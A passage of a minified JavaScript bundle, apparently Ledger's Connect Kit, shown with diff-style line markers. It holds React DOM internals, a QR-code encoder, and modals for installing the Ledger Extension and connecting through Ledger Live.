Error(n(188));throw e=Object.keys(e).join(","),Error(n(268,e))}return e=null===(e=qe(t))?null:e.stateNode},is.flushSync=function(e){return hc(e)},is.hydrate=function(e,t,r){if(!Zc(t))throw Error(n(200));return tl(null,e,t,!0,r)},is.hydrateRoot=function(e,t,r){if(!Xc(e))throw Error(n(405));var i=null!=r&&r.hydratedSources||null,o=!1,s="",a=Yc;if(null!=r&&(!0===r.unstable_strictMode&&(o=!0),void 0!==r.identifierPrefix&&(s=r.identifierPrefix),void 0!==r.onRecoverableError&&(a=r.onRecoverableError)),t=Vc(t,null,e,1,null!=r?r:null,o,0,s,a),e[hi]=t.current,Fr(e),i)for(e=0;e<i.length;e++)o=(o=(r=i[e])._getVersion)(r._source),null==t.mutableSourceEagerHydrationData?t.mutableSourceEagerHydrationData=[r,o]:t.mutableSourceEagerHydrationData.push(r,o);return new Jc(t)},is.render=function(e,t,r){if(!Zc(t))throw Error(n(200));return tl(null,e,t,!1,r)},is.unmountComponentAtNode=function(e){if(!Zc(e))throw Error(n(40));return!!e._reactRootContainer&&(hc((function(){tl(null,null,e,!1,(function(){e._reactRootContainer=null,e[hi]=null}))})),!0)},is.unstable_batchedUpdates=fc,is.unstable_renderSubtreeIntoContainer=function(e,t,r,i){if(!Zc(r))throw Error(n(200));if(null==e||void 0===e._reactInternals)throw Error(n(38));return tl(e,t,r,!1,i)},is.version="18.2.0-next-9e3b772b8-20220608",is}!function(e){!function e(){if("undefined"!=typeof __REACT_DEVTOOLS_GLOBAL_HOOK__&&"function"==typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE)try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(e)}catch(e){console.error(e)}}(),e.exports=us()}(rs);var cs=rs.exports;ns=cs.createRoot,cs.hydrateRoot;const ls=et.div`
183
- display: flex;
184
- flex-direction: row;
185
- align-items: center;
186
- margin: 12px 0 0 0;
187
- padding: 0 3rem 0 0;
188
-
189
- & > img {
190
- width: 48px;
191
- height: 48px;
192
- margin-right: 12px;
193
- }
194
- `;const fs=r("ExtensionInstallModal"),hs=({onClose:e=(()=>{})})=>{fs("initializing");return y.exports.jsx(Xo,Object.assign({onClose:e},{children:y.exports.jsx(y.exports.Fragment,{children:y.exports.jsxs(lt,{children:[y.exports.jsx(ft,{children:"With Ledger Extension, you can:"}),y.exports.jsxs(ls,{children:[y.exports.jsx("img",{src:"data:image/svg+xml,%3csvg width='48' height='48' fill='none' xmlns='http://www.w3.org/2000/svg'%3e%3crect width='48' height='48' rx='24' fill='%23252333'/%3e%3cpath d='M16.56 32.4h16.8V19.2h-15V21h13.2v9.6h-15c-.12 0-.12 0-.12-.12V17.52c0-.12 0-.12.12-.12h14.88c-.048-1.056-.864-1.8-1.92-1.8H16.56c-1.104 0-1.92.816-1.92 1.92v12.96c0 1.104.816 1.92 1.92 1.92Zm10.488-6.48a1.28 1.28 0 0 0 1.272 1.272c.696 0 1.248-.6 1.248-1.272a1.24 1.24 0 0 0-1.248-1.248c-.72 0-1.272.552-1.272 1.248Z' fill='%23BBB0FF'/%3e%3c/svg%3e"}),"Connect your Ledger directly to any dApp on Ethereum and Polygon"]}),y.exports.jsxs(ls,{children:[y.exports.jsx("img",{src:"data:image/svg+xml,%3csvg width='48' height='48' fill='none' xmlns='http://www.w3.org/2000/svg'%3e%3crect width='48' height='48' rx='24' fill='%23252333'/%3e%3cpath d='M24 33.84c6.24-2.472 9.36-6.408 9.36-11.712v-5.04c-2.664-1.92-5.904-2.928-9.36-2.928-3.456 0-6.696 1.008-9.36 2.928v5.04c0 5.304 3.12 9.24 9.36 11.712Zm-7.44-11.712V18c2.232-1.392 4.632-2.04 7.44-2.04 2.808 0 5.208.648 7.44 2.04v4.128c0 4.512-2.232 7.512-7.44 9.744-5.208-2.232-7.44-5.232-7.44-9.744Zm3.36 1.176 3.36 3.384L28.944 21 27.6 19.656l-4.32 4.296-2.016-1.992-1.344 1.344Z' fill='%23BBB0FF'/%3e%3c/svg%3e"}),"Get warnings about risky transactions before signing them."]}),y.exports.jsx(dt,Object.assign({variant:"primary",onClick:()=>{window.open("https://apps.apple.com/app/ledger-extension-browse-web3/id1627727841?pt=516048&ct=ledger_button&mt=8","_blank")}},{children:"Install Ledger Extension"}))]})})}))};var ds,ps,gs=Object.defineProperty,ys=Object.getOwnPropertySymbols,vs=Object.prototype.hasOwnProperty,ms=Object.prototype.propertyIsEnumerable,_s=(e,t,n)=>t in e?gs(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n;(e=>{const t=class{constructor(e,n,r,i){if(this.version=e,this.errorCorrectionLevel=n,this.modules=[],this.isFunction=[],e<t.MIN_VERSION||e>t.MAX_VERSION)throw new RangeError("Version value out of range");if(i<-1||i>7)throw new RangeError("Mask value out of range");this.size=4*e+17;let s=[];for(let e=0;e<this.size;e++)s.push(!1);for(let e=0;e<this.size;e++)this.modules.push(s.slice()),this.isFunction.push(s.slice());this.drawFunctionPatterns();const a=this.addEccAndInterleave(r);if(this.drawCodewords(a),-1==i){let e=1e9;for(let t=0;t<8;t++){this.applyMask(t),this.drawFormatBits(t);const n=this.getPenaltyScore();n<e&&(i=t,e=n),this.applyMask(t)}}o(0<=i&&i<=7),this.mask=i,this.applyMask(i),this.drawFormatBits(i),this.isFunction=[]}static encodeText(n,r){const i=e.QrSegment.makeSegments(n);return t.encodeSegments(i,r)}static encodeBinary(n,r){const i=e.QrSegment.makeBytes(n);return t.encodeSegments([i],r)}static encodeSegments(e,n,i=1,s=40,u=-1,c=!0){if(!(t.MIN_VERSION<=i&&i<=s&&s<=t.MAX_VERSION)||u<-1||u>7)throw new RangeError("Invalid value");let l,f;for(l=i;;l++){const r=8*t.getNumDataCodewords(l,n),i=a.getTotalBits(e,l);if(i<=r){f=i;break}if(l>=s)throw new RangeError("Data too long")}for(const e of[t.Ecc.MEDIUM,t.Ecc.QUARTILE,t.Ecc.HIGH])c&&f<=8*t.getNumDataCodewords(l,e)&&(n=e);let h=[];for(const t of e){r(t.mode.modeBits,4,h),r(t.numChars,t.mode.numCharCountBits(l),h);for(const e of t.getData())h.push(e)}o(h.length==f);const d=8*t.getNumDataCodewords(l,n);o(h.length<=d),r(0,Math.min(4,d-h.length),h),r(0,(8-h.length%8)%8,h),o(h.length%8==0);for(let e=236;h.length<d;e^=253)r(e,8,h);let p=[];for(;8*p.length<h.length;)p.push(0);return h.forEach(((e,t)=>p[t>>>3]|=e<<7-(7&t))),new t(l,n,p,u)}getModule(e,t){return 0<=e&&e<this.size&&0<=t&&t<this.size&&this.modules[t][e]}getModules(){return this.modules}drawFunctionPatterns(){for(let e=0;e<this.size;e++)this.setFunctionModule(6,e,e%2==0),this.setFunctionModule(e,6,e%2==0);this.drawFinderPattern(3,3),this.drawFinderPattern(this.size-4,3),this.drawFinderPattern(3,this.size-4);const e=this.getAlignmentPatternPositions(),t=e.length;for(let n=0;n<t;n++)for(let r=0;r<t;r++)0==n&&0==r||0==n&&r==t-1||n==t-1&&0==r||this.drawAlignmentPattern(e[n],e[r]);this.drawFormatBits(0),this.drawVersion()}drawFormatBits(e){const t=this.errorCorrectionLevel.formatBits<<3|e;let n=t;for(let e=0;e<10;e++)n=n<<1^1335*(n>>>9);const r=21522^(t<<10|n);o(r>>>15==0);for(let e=0;e<=5;e++)this.setFunctionModule(8,e,i(r,e));this.setFunctionModule(8,7,i(r,6)),this.setFunctionModule(8,8,i(r,7)),this.setFunctionModule(7,8,i(r,8));for(let e=9;e<15;e++)this.setFunctionModule(14-e,8,i(r,e));for(let e=0;e<8;e++)this.setFunctionModule(this.size-1-e,8,i(r,e));for(let e=8;e<15;e++)this.setFunctionModule(8,this.size-15+e,i(r,e));this.setFunctionModule(8,this.size-8,!0)}drawVersion(){if(this.version<7)return;let e=this.version;for(let t=0;t<12;t++)e=e<<1^7973*(e>>>11);const t=this.version<<12|e;o(t>>>18==0);for(let e=0;e<18;e++){const n=i(t,e),r=this.size-11+e%3,o=Math.floor(e/3);this.setFunctionModule(r,o,n),this.setFunctionModule(o,r,n)}}drawFinderPattern(e,t){for(let n=-4;n<=4;n++)for(let r=-4;r<=4;r++){const i=Math.max(Math.abs(r),Math.abs(n)),o=e+r,s=t+n;0<=o&&o<this.size&&0<=s&&s<this.size&&this.setFunctionModule(o,s,2!=i&&4!=i)}}drawAlignmentPattern(e,t){for(let n=-2;n<=2;n++)for(let r=-2;r<=2;r++)this.setFunctionModule(e+r,t+n,1!=Math.max(Math.abs(r),Math.abs(n)))}setFunctionModule(e,t,n){this.modules[t][e]=n,this.isFunction[t][e]=!0}addEccAndInterleave(e){const n=this.version,r=this.errorCorrectionLevel;if(e.length!=t.getNumDataCodewords(n,r))throw new RangeError("Invalid argument");const i=t.NUM_ERROR_CORRECTION_BLOCKS[r.ordinal][n],s=t.ECC_CODEWORDS_PER_BLOCK[r.ordinal][n],a=Math.floor(t.getNumRawDataModules(n)/8),u=i-a%i,c=Math.floor(a/i);let l=[];const f=t.reedSolomonComputeDivisor(s);for(let n=0,r=0;n<i;n++){let i=e.slice(r,r+c-s+(n<u?0:1));r+=i.length;const o=t.reedSolomonComputeRemainder(i,f);n<u&&i.push(0),l.push(i.concat(o))}let h=[];for(let e=0;e<l[0].length;e++)l.forEach(((t,n)=>{(e!=c-s||n>=u)&&h.push(t[e])}));return o(h.length==a),h}drawCodewords(e){if(e.length!=Math.floor(t.getNumRawDataModules(this.version)/8))throw new RangeError("Invalid argument");let n=0;for(let t=this.size-1;t>=1;t-=2){6==t&&(t=5);for(let r=0;r<this.size;r++)for(let o=0;o<2;o++){const s=t-o,a=0==(t+1&2)?this.size-1-r:r;!this.isFunction[a][s]&&n<8*e.length&&(this.modules[a][s]=i(e[n>>>3],7-(7&n)),n++)}}o(n==8*e.length)}applyMask(e){if(e<0||e>7)throw new RangeError("Mask value out of range");for(let t=0;t<this.size;t++)for(let n=0;n<this.size;n++){let r;switch(e){case 0:r=(n+t)%2==0;break;case 1:r=t%2==0;break;case 2:r=n%3==0;break;case 3:r=(n+t)%3==0;break;case 4:r=(Math.floor(n/3)+Math.floor(t/2))%2==0;break;case 5:r=n*t%2+n*t%3==0;break;case 6:r=(n*t%2+n*t%3)%2==0;break;case 7:r=((n+t)%2+n*t%3)%2==0;break;default:throw new Error("Unreachable")}!this.isFunction[t][n]&&r&&(this.modules[t][n]=!this.modules[t][n])}}getPenaltyScore(){let e=0;for(let n=0;n<this.size;n++){let r=!1,i=0,o=[0,0,0,0,0,0,0];for(let s=0;s<this.size;s++)this.modules[n][s]==r?(i++,5==i?e+=t.PENALTY_N1:i>5&&e++):(this.finderPenaltyAddHistory(i,o),r||(e+=this.finderPenaltyCountPatterns(o)*t.PENALTY_N3),r=this.modules[n][s],i=1);e+=this.finderPenaltyTerminateAndCount(r,i,o)*t.PENALTY_N3}for(let n=0;n<this.size;n++){let r=!1,i=0,o=[0,0,0,0,0,0,0];for(let s=0;s<this.size;s++)this.modules[s][n]==r?(i++,5==i?e+=t.PENALTY_N1:i>5&&e++):(this.finderPenaltyAddHistory(i,o),r||(e+=this.finderPenaltyCountPatterns(o)*t.PENALTY_N3),r=this.modules[s][n],i=1);e+=this.finderPenaltyTerminateAndCount(r,i,o)*t.PENALTY_N3}for(let n=0;n<this.size-1;n++)for(let r=0;r<this.size-1;r++){const i=this.modules[n][r];i==this.modules[n][r+1]&&i==this.modules[n+1][r]&&i==this.modules[n+1][r+1]&&(e+=t.PENALTY_N2)}let n=0;for(const e of this.modules)n=e.reduce(((e,t)=>e+(t?1:0)),n);const r=this.size*this.size,i=Math.ceil(Math.abs(20*n-10*r)/r)-1;return o(0<=i&&i<=9),e+=i*t.PENALTY_N4,o(0<=e&&e<=2568888),e}getAlignmentPatternPositions(){if(1==this.version)return[];{const e=Math.floor(this.version/7)+2,t=32==this.version?26:2*Math.ceil((4*this.version+4)/(2*e-2));let n=[6];for(let r=this.size-7;n.length<e;r-=t)n.splice(1,0,r);return n}}static getNumRawDataModules(e){if(e<t.MIN_VERSION||e>t.MAX_VERSION)throw new RangeError("Version number out of range");let n=(16*e+128)*e+64;if(e>=2){const t=Math.floor(e/7)+2;n-=(25*t-10)*t-55,e>=7&&(n-=36)}return o(208<=n&&n<=29648),n}static getNumDataCodewords(e,n){return Math.floor(t.getNumRawDataModules(e)/8)-t.ECC_CODEWORDS_PER_BLOCK[n.ordinal][e]*t.NUM_ERROR_CORRECTION_BLOCKS[n.ordinal][e]}static reedSolomonComputeDivisor(e){if(e<1||e>255)throw new RangeError("Degree out of range");let n=[];for(let t=0;t<e-1;t++)n.push(0);n.push(1);let r=1;for(let i=0;i<e;i++){for(let e=0;e<n.length;e++)n[e]=t.reedSolomonMultiply(n[e],r),e+1<n.length&&(n[e]^=n[e+1]);r=t.reedSolomonMultiply(r,2)}return n}static reedSolomonComputeRemainder(e,n){let r=n.map((e=>0));for(const i of e){const e=i^r.shift();r.push(0),n.forEach(((n,i)=>r[i]^=t.reedSolomonMultiply(n,e)))}return r}static reedSolomonMultiply(e,t){if(e>>>8!=0||t>>>8!=0)throw new RangeError("Byte out of range");let n=0;for(let r=7;r>=0;r--)n=n<<1^285*(n>>>7),n^=(t>>>r&1)*e;return o(n>>>8==0),n}finderPenaltyCountPatterns(e){const t=e[1];o(t<=3*this.size);const n=t>0&&e[2]==t&&e[3]==3*t&&e[4]==t&&e[5]==t;return(n&&e[0]>=4*t&&e[6]>=t?1:0)+(n&&e[6]>=4*t&&e[0]>=t?1:0)}finderPenaltyTerminateAndCount(e,t,n){return e&&(this.finderPenaltyAddHistory(t,n),t=0),t+=this.size,this.finderPenaltyAddHistory(t,n),this.finderPenaltyCountPatterns(n)}finderPenaltyAddHistory(e,t){0==t[0]&&(e+=this.size),t.pop(),t.unshift(e)}};let n=t;function r(e,t,n){if(t<0||t>31||e>>>t!=0)throw new RangeError("Value out of range");for(let r=t-1;r>=0;r--)n.push(e>>>r&1)}function i(e,t){return 0!=(e>>>t&1)}function o(e){if(!e)throw new Error("Assertion error")}n.MIN_VERSION=1,n.MAX_VERSION=40,n.PENALTY_N1=3,n.PENALTY_N2=3,n.PENALTY_N3=40,n.PENALTY_N4=10,n.ECC_CODEWORDS_PER_BLOCK=[[-1,7,10,15,20,26,18,20,24,30,18,20,24,26,30,22,24,28,30,28,28,28,28,30,30,26,28,30,30,30,30,30,30,30,30,30,30,30,30,30,30],[-1,10,16,26,18,24,16,18,22,22,26,30,22,22,24,24,28,28,26,26,26,26,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28],[-1,13,22,18,26,18,24,18,22,20,24,28,26,24,20,30,24,28,28,26,30,28,30,30,30,30,28,30,30,30,30,30,30,30,30,30,30,30,30,30,30],[-1,17,28,22,16,22,28,26,26,24,28,24,28,22,24,24,30,28,28,26,28,30,24,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30]],n.NUM_ERROR_CORRECTION_BLOCKS=[[-1,1,1,1,1,1,2,2,2,2,4,4,4,4,4,6,6,6,6,7,8,8,9,9,10,12,12,12,13,14,15,16,17,18,19,19,20,21,22,24,25],[-1,1,1,1,2,2,4,4,4,5,5,5,8,9,9,10,10,11,13,14,16,17,17,18,20,21,23,25,26,28,29,31,33,35,37,38,40,43,45,47,49],[-1,1,1,2,2,4,4,6,6,8,8,8,10,12,16,12,17,16,18,21,20,23,23,25,27,29,34,34,35,38,40,43,45,48,51,53,56,59,62,65,68],[-1,1,1,2,4,4,4,5,6,8,8,11,11,16,16,18,16,19,21,25,25,25,34,30,32,35,37,40,42,45,48,51,54,57,60,63,66,70,74,77,81]],e.QrCode=n;const s=class{constructor(e,t,n){if(this.mode=e,this.numChars=t,this.bitData=n,t<0)throw new RangeError("Invalid argument");this.bitData=n.slice()}static makeBytes(e){let t=[];for(const n of e)r(n,8,t);return new s(s.Mode.BYTE,e.length,t)}static makeNumeric(e){if(!s.isNumeric(e))throw new RangeError("String contains non-numeric characters");let t=[];for(let n=0;n<e.length;){const i=Math.min(e.length-n,3);r(parseInt(e.substr(n,i),10),3*i+1,t),n+=i}return new s(s.Mode.NUMERIC,e.length,t)}static makeAlphanumeric(e){if(!s.isAlphanumeric(e))throw new RangeError("String contains unencodable characters in alphanumeric mode");let t,n=[];for(t=0;t+2<=e.length;t+=2){let i=45*s.ALPHANUMERIC_CHARSET.indexOf(e.charAt(t));i+=s.ALPHANUMERIC_CHARSET.indexOf(e.charAt(t+1)),r(i,11,n)}return t<e.length&&r(s.ALPHANUMERIC_CHARSET.indexOf(e.charAt(t)),6,n),new s(s.Mode.ALPHANUMERIC,e.length,n)}static makeSegments(e){return""==e?[]:s.isNumeric(e)?[s.makeNumeric(e)]:s.isAlphanumeric(e)?[s.makeAlphanumeric(e)]:[s.makeBytes(s.toUtf8ByteArray(e))]}static makeEci(e){let t=[];if(e<0)throw new RangeError("ECI assignment value out of range");if(e<128)r(e,8,t);else if(e<16384)r(2,2,t),r(e,14,t);else{if(!(e<1e6))throw new RangeError("ECI assignment value out of range");r(6,3,t),r(e,21,t)}return new s(s.Mode.ECI,0,t)}static isNumeric(e){return s.NUMERIC_REGEX.test(e)}static isAlphanumeric(e){return s.ALPHANUMERIC_REGEX.test(e)}getData(){return this.bitData.slice()}static getTotalBits(e,t){let n=0;for(const r of e){const e=r.mode.numCharCountBits(t);if(r.numChars>=1<<e)return 1/0;n+=4+e+r.bitData.length}return n}static toUtf8ByteArray(e){e=encodeURI(e);let t=[];for(let n=0;n<e.length;n++)"%"!=e.charAt(n)?t.push(e.charCodeAt(n)):(t.push(parseInt(e.substr(n+1,2),16)),n+=2);return t}};let a=s;a.NUMERIC_REGEX=/^[0-9]*$/,a.ALPHANUMERIC_REGEX=/^[A-Z0-9 $%*+.\/:-]*$/,a.ALPHANUMERIC_CHARSET="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ $%*+-./:",e.QrSegment=a})(ds||(ds={})),(e=>{const t=class{constructor(e,t){this.ordinal=e,this.formatBits=t}};let n=t;n.LOW=new t(0,1),n.MEDIUM=new t(1,0),n.QUARTILE=new t(2,3),n.HIGH=new t(3,2),e.Ecc=n})((ps=ds||(ds={})).QrCode||(ps.QrCode={})),(e=>{(e=>{const t=class{constructor(e,t){this.modeBits=e,this.numBitsCharCount=t}numCharCountBits(e){return this.numBitsCharCount[Math.floor((e+7)/17)]}};let n=t;n.NUMERIC=new t(1,[10,12,14]),n.ALPHANUMERIC=new t(2,[9,11,13]),n.BYTE=new t(4,[8,16,16]),n.KANJI=new t(8,[8,10,12]),n.ECI=new t(7,[0,0,0]),e.Mode=n})(e.QrSegment||(e.QrSegment={}))})(ds||(ds={}));var bs=ds,ws={L:bs.QrCode.Ecc.LOW,M:bs.QrCode.Ecc.MEDIUM,Q:bs.QrCode.Ecc.QUARTILE,H:bs.QrCode.Ecc.HIGH},Es=128,Ss="L",Os="#FFFFFF",xs="#000000",Is=!1,Rs=4,ks=.1;
195
- /**
196
- * @license qrcode.react
197
- * Copyright (c) Paul O'Shannessy
198
- * SPDX-License-Identifier: ISC
199
- */!function(){try{(new Path2D).addPath(new Path2D)}catch(e){return!1}}();const Cs=et((function(e){const t=e,{value:n,size:r=Es,level:i=Ss,bgColor:o=Os,fgColor:s=xs,includeMargin:a=Is,imageSettings:u}=t,c=((e,t)=>{var n={};for(var r in e)vs.call(e,r)&&t.indexOf(r)<0&&(n[r]=e[r]);if(null!=e&&ys)for(var r of ys(e))t.indexOf(r)<0&&ms.call(e,r)&&(n[r]=e[r]);return n})(t,["value","size","level","bgColor","fgColor","includeMargin","imageSettings"]);let l=bs.QrCode.encodeText(n,ws[i]).getModules();const f=a?Rs:0,h=l.length+2*f,d=function(e,t,n,r){if(null==r)return null;const i=n?Rs:0,o=e.length+2*i,s=Math.floor(t*ks),a=o/t,u=(r.width||s)*a,c=(r.height||s)*a,l=null==r.x?e.length/2-u/2:r.x*a,f=null==r.y?e.length/2-c/2:r.y*a;let h=null;if(r.excavate){let e=Math.floor(l),t=Math.floor(f);h={x:e,y:t,w:Math.ceil(u+l-e),h:Math.ceil(c+f-t)}}return{x:l,y:f,h:c,w:u,excavation:h}}(l,r,a,u);let p=null;var g,y;null!=u&&null!=d&&(null!=d.excavation&&(g=l,y=d.excavation,l=g.slice().map(((e,t)=>t<y.y||t>=y.y+y.h?e:e.map(((e,t)=>(t<y.x||t>=y.x+y.w)&&e))))),p=E.createElement("image",{xlinkHref:u.src,height:d.h,width:d.w,x:d.x+f,y:d.y+f,preserveAspectRatio:"none"}));const v=function(e,t=0){const n=[];return e.forEach((function(e,r){let i=null;e.forEach((function(o,s){if(!o&&null!==i)return n.push(`M${i+t} ${r+t}h${s-i}v1H${i+t}z`),void(i=null);if(s!==e.length-1)o&&null===i&&(i=s);else{if(!o)return;null===i?n.push(`M${s+t},${r+t} h1v1H${s+t}z`):n.push(`M${i+t},${r+t} h${s+1-i}v1H${i+t}z`)}}))})),n.join("")}(l,f);return E.createElement("svg",((e,t)=>{for(var n in t||(t={}))vs.call(t,n)&&_s(e,n,t[n]);if(ys)for(var n of ys(t))ms.call(t,n)&&_s(e,n,t[n]);return e})({height:r,width:r,viewBox:`0 0 ${h} ${h}`},c),E.createElement("path",{fill:o,d:`M0,0 h${h}v${h}H0z`,shapeRendering:"crispEdges"}),E.createElement("path",{fill:s,d:v,shapeRendering:"crispEdges"}),p)}))`
200
- box-sizing: border-box;
201
- flex-grow: 0;
202
- flex-shrink: 0;
203
- padding: 15px;
204
- margin-left: auto;
205
- margin-right: auto;
206
- margin-top: 0.1rem;
207
- border-radius: 1rem;
208
- background-color: white;
209
-
210
- @media ${rt} {
211
- width: 200px;
212
- height: 200px;
213
- }
214
- `,Ps=et.div`
215
- margin: 1rem 0;
216
- border-top: none;
217
- padding-top: 0;
218
- `,As=r("UseLedgerLiveModal");let Ns=e=>{},Ts=e=>{As("setModalUri",e),Ns(e)};const Ms=({isDesktop:e=!1,uri:t="",onClose:n=(()=>{})})=>{As("initializing",{isDesktop:e,uri:t});const{init:r,track:i,sendUserFlow:o,addStepToFlow:s}=Qo(),[a,u]=m.exports.useState(t);Ns=u;const c=m.exports.useRef(),l=c.current;t!==l&&t!==a&&u(t),m.exports.useEffect((()=>{c.current=t}));const f=m.exports.useCallback((()=>(s("Click on 'Connect with Ledger Live desktop/mobile' "),o(),As("loading Ledger Live, ",a),window.location.href=`ledgerlive://wc?uri=${encodeURIComponent(a)}`,Jo(!1),!1)),[a]),h=m.exports.useCallback((()=>(s("Click on 'Install Ledger Live' "),window.open("https://www.ledger.com/ledger-live"),!1)),[]);return m.exports.useEffect((()=>{r({dappName:"connect-kit"},{ip:"0.0.0.0"}).then((()=>{i("source",{hostname:window.location.hostname}),s("Open Ledger Live Modal")}))}),[]),y.exports.jsx(Xo,Object.assign({onClose:n},{children:y.exports.jsxs(lt,Object.assign({textAlign:"center"},{children:[y.exports.jsx(ft,{children:"Connect with Ledger Live"}),e&&""!==a&&y.exports.jsxs(y.exports.Fragment,{children:[y.exports.jsx(ht,{children:"Scan for Ledger Live mobile"}),y.exports.jsx(Ps,{children:y.exports.jsx(Cs,{value:a,size:310})}),y.exports.jsx(ht,Object.assign({noMargin:!0},{children:"or"})),y.exports.jsx(dt,Object.assign({variant:"primary",onClick:f},{children:"Connect with Ledger Live desktop"}))]}),!e&&""!==a&&y.exports.jsx(dt,Object.assign({variant:"primary",onClick:f,extraMargin:!0},{children:"Connect with Ledger Live mobile"})),y.exports.jsxs(ht,{children:["Don't have Ledger Live for ",e?"desktop":"mobile","?"]}),y.exports.jsx(ht,Object.assign({noMargin:!0},{children:y.exports.jsx(pt,Object.assign({onClick:h},{children:"Install it"}))}))]}))}))},Ls=et.div`
219
- margin: 1.4rem 0;
220
- display: flex;
221
- flex-direction: column;
222
- flex: 1;
223
- align-items: start;
224
- font-size: 1rem;
225
- gap: 12px 20px;
226
- `,js=et.div`
227
- display: flex;
228
- flex-direction: row;
229
- align-items: center;
230
- word-break: keep-all;
231
-
232
- & > img {
233
- width: 24px;
234
- height: 24px;
235
- margin-right: 8px;
236
- }
237
- `;const Us=r("PlatformNotSupportedModal"),Ds=()=>(Us("initializing"),y.exports.jsx(Xo,{children:y.exports.jsx(y.exports.Fragment,{children:y.exports.jsxs(lt,{children:[y.exports.jsx(ft,{children:"Sorry, we don't support this platform just yet."}),y.exports.jsxs(ht,{children:["We're working hard to expand our coverage.",y.exports.jsx("br",{}),"Until we get there, you can try Ledger Connect on:"]}),y.exports.jsx(Ls,{children:y.exports.jsxs(js,{children:[y.exports.jsx("img",{src:"data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='250.076' height='248.707' viewBox='0 0 66.166 65.804'%3e%3cdefs%3e%3clinearGradient id='b'%3e%3cstop style='stop-color:%2306c2e7%3bstop-opacity:1' offset='0'/%3e%3cstop offset='.25' style='stop-color:%230db8ec%3bstop-opacity:1'/%3e%3cstop offset='.5' style='stop-color:%2312aef1%3bstop-opacity:1'/%3e%3cstop style='stop-color:%231f86f9%3bstop-opacity:1' offset='.75'/%3e%3cstop style='stop-color:%23107ddd%3bstop-opacity:1' offset='1'/%3e%3c/linearGradient%3e%3clinearGradient id='a'%3e%3cstop style='stop-color:%23bdbdbd%3bstop-opacity:1' offset='0'/%3e%3cstop style='stop-color:white%3bstop-opacity:1' offset='1'/%3e%3c/linearGradient%3e%3clinearGradient xlink:href='%23a' id='d' x1='412.975' y1='237.608' x2='412.975' y2='59.392' gradientUnits='userSpaceOnUse' gradientTransform='matrix(.35154 0 0 .35154 206.79 159.773)'/%3e%3cfilter style='color-interpolation-filters:sRGB' id='f' x='-.021' width='1.042' y='-.022' height='1.045'%3e%3cfeGaussianBlur stdDeviation='.958'/%3e%3c/filter%3e%3cfilter style='color-interpolation-filters:sRGB' id='c' x='-.048' width='1.096' y='-.048' height='1.096'%3e%3cfeGaussianBlur stdDeviation='3.564'/%3e%3c/filter%3e%3cradialGradient xlink:href='%23b' id='e' cx='413.061' cy='136.818' fx='413.061' fy='136.818' r='82.125' gradientUnits='userSpaceOnUse' gradientTransform='matrix(.38143 0 0 .38143 194.545 155.58)'/%3e%3c/defs%3e%3cpath transform='matrix(.33865 0 0 .3261 -106.77 -14.478)' style='opacity:.52999998%3bfill:black%3bfill-opacity:1%3bstroke:none%3bstroke-width:2.93077397%3bstroke-linecap:round%3bstroke-linejoin:round%3bstroke-miterlimit:4%3bstroke-dasharray:none%3bstroke-dashoffset:0%3bstroke-opacity:1%3bpaint-order:markers stroke fill%3bfilter:url(%23c)' d='M502.083 148.5a89.108 89.108 0 0 1-89.108 89.108 89.108 89.108 0 0 1-89.108-89.108 89.108 89.108 0 0 1 89.108-89.108 89.108 89.108 0 0 1 89.108 89.108Z'/%3e%3cpath d='M383.294 211.977a31.325 31.325 0 0 1-31.325 31.325 31.325 31.325 0 0 1-31.326-31.325 31.325 31.325 0 0 1 31.326-31.325 31.325 31.325 0 0 1 31.325 31.325z' style='opacity:1%3bfill:url(%23d)%3bfill-opacity:1%3bstroke:%23cdcdcd%3bstroke-width:.09301235%3bstroke-linecap:round%3bstroke-linejoin:round%3bstroke-miterlimit:4%3bstroke-dasharray:none%3bstroke-dashoffset:0%3bstroke-opacity:1%3bpaint-order:markers stroke fill' transform='translate(-318.886 -180.595)'/%3e%3cpath d='M380.84 211.977a28.87 28.87 0 0 1-28.871 28.87 28.87 28.87 0 0 1-28.871-28.87 28.87 28.87 0 0 1 28.87-28.87 28.87 28.87 0 0 1 28.871 28.87z' style='opacity:1%3bfill:url(%23e)%3bfill-opacity:1%3bstroke:none%3bstroke-width:.94955933%3bstroke-linecap:round%3bstroke-linejoin:round%3bstroke-miterlimit:4%3bstroke-dasharray:none%3bstroke-dashoffset:0%3bstroke-opacity:1%3bpaint-order:markers stroke fill' transform='translate(-318.886 -180.595)'/%3e%3cpath d='M351.969 184.612a.42.42 0 0 0-.421.42v4.856a.42.42 0 1 0 .841 0v-4.855a.42.42 0 0 0-.42-.421zm-2.754.174a.42.42 0 0 0-.46.463l.212 2.03a.42.42 0 1 0 .837-.087l-.212-2.03a.42.42 0 0 0-.377-.376zm5.526.002a.42.42 0 0 0-.377.375l-.213 2.03a.42.42 0 1 0 .837.089l.214-2.031a.42.42 0 0 0-.46-.463zm-8.355.408a.42.42 0 0 0-.41.508l1.006 4.75a.42.42 0 1 0 .824-.174l-1.006-4.75a.42.42 0 0 0-.414-.334zm11.184.004a.42.42 0 0 0-.414.333l-1.01 4.75a.42.42 0 1 0 .824.175l1.01-4.75a.42.42 0 0 0-.41-.508zm-13.883.757a.42.42 0 0 0-.437.55l.631 1.942a.42.42 0 1 0 .8-.26l-.63-1.942a.42.42 0 0 0-.364-.29zm16.567.001a.42.42 0 0 0-.364.29l-.631 1.942a.42.42 0 1 0 .8.26l.632-1.942a.42.42 0 0 0-.437-.55zm-19.237.976a.42.42 0 0 0-.377.592l1.972 4.437a.42.42 0 1 0 .77-.342l-1.973-4.437a.42.42 0 0 0-.392-.25zm21.937.015a.42.42 0 0 0-.393.25l-1.978 4.434a.42.42 0 1 0 .77.343l1.977-4.434a.42.42 0 0 0-.376-.593zm-24.415 1.296a.42.42 0 0 0-.394.63l1.021 1.77a.42.42 0 1 0 .73-.421l-1.022-1.769a.42.42 0 0 0-.335-.21zm26.859 0a.419.419 0 0 0-.335.21l-1.021 1.769a.42.42 0 1 0 .729.42l1.021-1.768a.42.42 0 0 0-.394-.63zm-29.265 1.5a.422.422 0 0 0-.326.669l2.85 3.93a.42.42 0 1 0 .682-.494l-2.851-3.93a.42.42 0 0 0-.355-.174zm31.701.022a.42.42 0 0 0-.355.174l-2.856 